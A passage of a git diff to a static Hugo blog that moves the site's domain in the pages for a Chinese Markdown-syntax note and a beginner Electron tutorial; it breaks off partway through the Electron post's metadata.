51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Markdown基础语法笔记"><meta property="og:description" content="Markdown是一个标记语言，常用于编写文档
 标题
 一级标题 二级标题 三级标题 四级标题 五级标题 六级标题 分别对别h1到h6
 段落
@@ -51,7 +51,7 @@
 表格
 xxx xxx yyy yyy yyy yyy :-表示左对齐，-:表示右对齐，:-:表示居中对齐
 转义
-*"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/88/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-18T16:50:00+00:00"><meta property="article:modified_time" content="2021-08-18T16:50:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Markdown基础语法笔记"><meta name=twitter:description content="Markdown是一个标记语言，常用于编写文档
+*"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/88/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-18T16:50:00+00:00"><meta property="article:modified_time" content="2021-08-18T16:50:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Markdown基础语法笔记"><meta name=twitter:description content="Markdown是一个标记语言，常用于编写文档
 标题
 一级标题 二级标题 三级标题 四级标题 五级标题 六级标题 分别对别h1到h6
 段落
@@ -77,8 +77,8 @@
 表格
 xxx xxx yyy yyy yyy yyy :-表示左对齐，-:表示右对齐，:-:表示居中对齐
 转义
-*"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Markdown基础语法笔记","item":"https://xiaochenabc123.github.io/posts/88/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Markdown基础语法笔记","name":"Markdown基础语法笔记","description":"Markdown是一个标记语言，常用于编写文档\n标题\n一级标题 二级标题 三级标题 四级标题 五级标题 六级标题 分别对别h1到h6\n段落\n斜体文本\n斜体文本\n粗体文本\n粗体文本\n粗斜体文本\n粗斜体文本\n分割线\n删除线\nhallo\n脚注\n列表\n列表 列表 列表 1.列表\n区块\nxxx 代码\nxxx\nxxx\n链接\nchenjunlin\n图片\n表格\nxxx xxx yyy yyy yyy yyy :-表示左对齐，-:表示右对齐，:-:表示居中对齐\n转义\n*","keywords":["Markdown"],"articleBody":"Markdown是一个标记语言，常用于编写文档\n标题\n一级标题 二级标题 三级标题 四级标题 五级标题 六级标题 分别对别h1到h6\n段落\n斜体文本\n斜体文本\n粗体文本\n粗体文本\n粗斜体文本\n粗斜体文本\n分割线\n删除线\nhallo\n脚注\n列表\n列表 列表 列表 1.列表\n区块\nxxx 代码\nxxx\nxxx\n链接\nchenjunlin\n图片\n表格\nxxx xxx yyy yyy yyy yyy :-表示左对齐，-:表示右对齐，:-:表示居中对齐\n转义\n*\n","wordCount":"43","inLanguage":"en","datePublished":"2021-08-18T16:50:00Z","dateModified":"2021-08-18T16:50:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/88/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Markdown基础语法笔记</h1><div class=post-meta><span title='2021-08-18 16:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Markdown%e5%9f%ba%e7%a1%80%e8%af%ad%e6%b3%95%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Markdown是一个标记语言，常用于编写文档</p><p>标题</p><h1 id=一级标题>一级标题<a hidden class=anchor aria-hidden=true href=#一级标题>#</a></h1><h2 id=二级标题>二级标题<a hidden class=anchor aria-hidden=true href=#二级标题>#</a></h2><h3 id=三级标题>三级标题<a hidden class=anchor aria-hidden=true href=#三级标题>#</a></h3><h4 id=四级标题>四级标题<a hidden class=anchor aria-hidden=true href=#四级标题>#</a></h4><h5 id=五级标题>五级标题<a hidden class=anchor aria-hidden=true href=#五级标题>#</a></h5><h6 id=六级标题>六级标题<a hidden class=anchor aria-hidden=true href=#六级标题>#</a></h6><p>分别对别h1到h6</p><p>段落</p><p><em>斜体文本</em></p><p><em>斜体文本</em></p><p><strong>粗体文本</strong></p><p><strong>粗体文本</strong></p><p><em><strong>粗斜体文本</strong></em></p><p><em><strong>粗斜体文本</strong></em></p><p>分割线</p><hr><hr><p>删除线</p><p><del>hallo</del></p><p>脚注</p><p>列表</p><ul><li>列表</li></ul><ul><li>列表</li></ul><ul><li>列表</li></ul><p>1.列表</p><p>区块</p><blockquote><ol><li>xxx</li></ol></blockquote><p>代码</p><p><code>xxx</code></p><p><code>xxx</code></p><p>链接</p><p><a href=https://xiaochenabc123.test.com>chenjunlin</a></p><p>图片</p><p><img loading=lazy src=https://xiaochenabc123.test.com/1.jpg alt=hallo title=hallo></p><p>表格</p><table><thead><tr><th style=text-align:left>xxx</th><th style=text-align:right>xxx</th></tr></thead><tbody><tr><td style=text-align:left>yyy</td><td style=text-align:right>yyy</td></tr><tr><td style=text-align:left>yyy</td><td style=text-align:right>yyy</td></tr></tbody></table><p>:-表示左对齐，-:表示右对齐，:-:表示居中对齐</p><p>转义</p><p>*</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/markdown/>Markdown</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/91/><span class=title>« Prev</span><br><span>简单利用Electron框架开发桌面端应用</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/87/><span class=title>Next »</span><br><span>简单使用Vite-前端构建工具</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+*"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Markdown基础语法笔记","item":"https://chenjunlinabc.github.io/posts/88/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Markdown基础语法笔记","name":"Markdown基础语法笔记","description":"Markdown是一个标记语言，常用于编写文档\n标题\n一级标题 二级标题 三级标题 四级标题 五级标题 六级标题 分别对别h1到h6\n段落\n斜体文本\n斜体文本\n粗体文本\n粗体文本\n粗斜体文本\n粗斜体文本\n分割线\n删除线\nhallo\n脚注\n列表\n列表 列表 列表 1.列表\n区块\nxxx 代码\nxxx\nxxx\n链接\nchenjunlin\n图片\n表格\nxxx xxx yyy yyy yyy yyy :-表示左对齐，-:表示右对齐，:-:表示居中对齐\n转义\n*","keywords":["Markdown"],"articleBody":"Markdown是一个标记语言，常用于编写文档\n标题\n一级标题 二级标题 三级标题 四级标题 五级标题 六级标题 分别对别h1到h6\n段落\n斜体文本\n斜体文本\n粗体文本\n粗体文本\n粗斜体文本\n粗斜体文本\n分割线\n删除线\nhallo\n脚注\n列表\n列表 列表 列表 1.列表\n区块\nxxx 代码\nxxx\nxxx\n链接\nchenjunlin\n图片\n表格\nxxx xxx yyy yyy yyy yyy :-表示左对齐，-:表示右对齐，:-:表示居中对齐\n转义\n*\n","wordCount":"43","inLanguage":"en","datePublished":"2021-08-18T16:50:00Z","dateModified":"2021-08-18T16:50:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/88/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Markdown基础语法笔记</h1><div class=post-meta><span title='2021-08-18 16:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Markdown%e5%9f%ba%e7%a1%80%e8%af%ad%e6%b3%95%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Markdown是一个标记语言，常用于编写文档</p><p>标题</p><h1 id=一级标题>一级标题<a hidden class=anchor aria-hidden=true href=#一级标题>#</a></h1><h2 id=二级标题>二级标题<a hidden class=anchor aria-hidden=true href=#二级标题>#</a></h2><h3 id=三级标题>三级标题<a hidden class=anchor aria-hidden=true href=#三级标题>#</a></h3><h4 id=四级标题>四级标题<a hidden class=anchor aria-hidden=true href=#四级标题>#</a></h4><h5 id=五级标题>五级标题<a hidden class=anchor aria-hidden=true href=#五级标题>#</a></h5><h6 id=六级标题>六级标题<a hidden class=anchor aria-hidden=true href=#六级标题>#</a></h6><p>分别对别h1到h6</p><p>段落</p><p><em>斜体文本</em></p><p><em>斜体文本</em></p><p><strong>粗体文本</strong></p><p><strong>粗体文本</strong></p><p><em><strong>粗斜体文本</strong></em></p><p><em><strong>粗斜体文本</strong></em></p><p>分割线</p><hr><hr><p>删除线</p><p><del>hallo</del></p><p>脚注</p><p>列表</p><ul><li>列表</li></ul><ul><li>列表</li></ul><ul><li>列表</li></ul><p>1.列表</p><p>区块</p><blockquote><ol><li>xxx</li></ol></blockquote><p>代码</p><p><code>xxx</code></p><p><code>xxx</code></p><p>链接</p><p><a href=https://xiaochenabc123.test.com>chenjunlin</a></p><p>图片</p><p><img loading=lazy src=https://xiaochenabc123.test.com/1.jpg alt=hallo title=hallo></p><p>表格</p><table><thead><tr><th style=text-align:left>xxx</th><th style=text-align:right>xxx</th></tr></thead><tbody><tr><td style=text-align:left>yyy</td><td style=text-align:right>yyy</td></tr><tr><td style=text-align:left>yyy</td><td style=text-align:right>yyy</td></tr></tbody></table><p>:-表示左对齐，-:表示右对齐，:-:表示居中对齐</p><p>转义</p><p>*</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/markdown/>Markdown</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/91/><span class=title>« Prev</span><br><span>简单利用Electron框架开发桌面端应用</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/87/><span class=title>Next »</span><br><span>简单使用Vite-前端构建工具</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/91/index.html b/posts/91/index.html
index 7f5f2e5e..b499684a 100644
--- a/posts/91/index.html
+++ b/posts/91/index.html
@@ -17,9 +17,9 @@
 声明主窗口
 var mainWindow = null
 设置参数
-app.on('ready',()=>{
mainWindow = new BrowserWindow({
// 设置窗口大小
width:500,
height:500,
webPreferences:{
nodeIntegration: true
// 是否集成node
}
}) mainWindow.loadFile('index.html') // 指定窗口加载那个页面
mainWindow.on('closed',()=>{
mainWindow = null
// 监听销毁事件，事件触发关闭主窗口，设置为null
})
})
初始化
-npm init &ndash;yes"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/91/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单利用Electron框架开发桌面端应用"><meta property="og:description" content="Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用
+app.on('ready',()=>{ mainWindow = new BrowserWindow({ // 设置窗口大小 width:500, height:500, webPreferences:{ nodeIntegration: true // 是否集成node } }) mainWindow.loadFile('index.html') // 指定窗口加载那个页面 mainWindow.on('closed',()=>{ mainWindow = null // 监听销毁事件，事件触发关闭主窗口，设置为null }) }) 初始化
+npm init &ndash;yes"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/91/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单利用Electron框架开发桌面端应用"><meta property="og:description" content="Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用
 GUI由Chromium提供，底层通过Nodejs提供，Native API提供桌面端和跨平台的原生功能
 Visual Studio Code和Atom都是使用Electron开发的，可以说技术很成熟
 但是毕竟是基于Chromium的，打包出来的应用非常大，就算是个halloword，也要几百m
@@ -38,8 +38,8 @@
 声明主窗口
 var mainWindow = null
 设置参数
-app.on('ready',()=>{
mainWindow = new BrowserWindow({
// 设置窗口大小
width:500,
height:500,
webPreferences:{
nodeIntegration: true
// 是否集成node
}
}) mainWindow.loadFile('index.html') // 指定窗口加载那个页面
mainWindow.on('closed',()=>{
mainWindow = null
// 监听销毁事件，事件触发关闭主窗口，设置为null
})
})
初始化
-npm init &ndash;yes"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/91/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-25T12:00:00+00:00"><meta property="article:modified_time" content="2021-08-25T12:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单利用Electron框架开发桌面端应用"><meta name=twitter:description content="Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用
+app.on('ready',()=>{ mainWindow = new BrowserWindow({ // 设置窗口大小 width:500, height:500, webPreferences:{ nodeIntegration: true // 是否集成node } }) mainWindow.loadFile('index.html') // 指定窗口加载那个页面 mainWindow.on('closed',()=>{ mainWindow = null // 监听销毁事件，事件触发关闭主窗口，设置为null }) }) 初始化
+npm init &ndash;yes"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/91/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-25T12:00:00+00:00"><meta property="article:modified_time" content="2021-08-25T12:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单利用Electron框架开发桌面端应用"><meta name=twitter:description content="Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用
 GUI由Chromium提供，底层通过Nodejs提供，Native API提供桌面端和跨平台的原生功能
 Visual Studio Code和Atom都是使用Electron开发的，可以说技术很成熟
 但是毕竟是基于Chromium的，打包出来的应用非常大，就算是个halloword，也要几百m
@@ -58,25 +58,25 @@
 声明主窗口
 var mainWindow = null
 设置参数
-app.on('ready',()=>{
mainWindow = new BrowserWindow({
// 设置窗口大小
width:500,
height:500,
webPreferences:{
nodeIntegration: true
// 是否集成node
}
}) mainWindow.loadFile('index.html') // 指定窗口加载那个页面
mainWindow.on('closed',()=>{
mainWindow = null
// 监听销毁事件，事件触发关闭主窗口，设置为null
})
})
初始化
-npm init &ndash;yes"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单利用Electron框架开发桌面端应用","item":"https://xiaochenabc123.github.io/posts/91/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单利用Electron框架开发桌面端应用","name":"简单利用Electron框架开发桌面端应用","description":"Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用\nGUI由Chromium提供，底层通过Nodejs提供，Native API提供桌面端和跨平台的原生功能\nVisual Studio Code和Atom都是使用Electron开发的，可以说技术很成熟\n但是毕竟是基于Chromium的，打包出来的应用非常大，就算是个halloword，也要几百m\n安装Electron\nnpm install electron \u0026ndash;save-dev\n全局安装\nnpm install -g electron\n新建项目，并且在该目录下建立index.html文件和main.js\nmian.js是Electron应用的配置文件\n导入electron模块\nvar electron = require(\u0026rsquo;electron')\n创建Electron引用\nvar app = electron.app\n创建窗口引用\nvar BrowserWindow = electron.BrowserWindow\n声明主窗口\nvar mainWindow = null\n设置参数\napp.on('ready',()=\u0026gt;{\rmainWindow = new BrowserWindow({\r// 设置窗口大小\rwidth:500,\rheight:500,\rwebPreferences:{\rnodeIntegration: true\r// 是否集成node\r}\r}) mainWindow.loadFile('index.html') // 指定窗口加载那个页面\rmainWindow.on('closed',()=\u0026gt;{\rmainWindow = null\r// 监听销毁事件，事件触发关闭主窗口，设置为null\r})\r})\r初始化\nnpm init \u0026ndash;yes","keywords":["Electron"],"articleBody":"Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用\nGUI由Chromium提供，底层通过Nodejs提供，Native API提供桌面端和跨平台的原生功能\nVisual Studio Code和Atom都是使用Electron开发的，可以说技术很成熟\n但是毕竟是基于Chromium的，打包出来的应用非常大，就算是个halloword，也要几百m\n安装Electron\nnpm install electron –save-dev\n全局安装\nnpm install -g electron\n新建项目，并且在该目录下建立index.html文件和main.js\nmian.js是Electron应用的配置文件\n导入electron模块\nvar electron = require(’electron')\n创建Electron引用\nvar app = electron.app\n创建窗口引用\nvar BrowserWindow = electron.BrowserWindow\n声明主窗口\nvar mainWindow = null\n设置参数\napp.on('ready',()=\u003e{\rmainWindow = new BrowserWindow({\r// 设置窗口大小\rwidth:500,\rheight:500,\rwebPreferences:{\rnodeIntegration: true\r// 是否集成node\r}\r}) 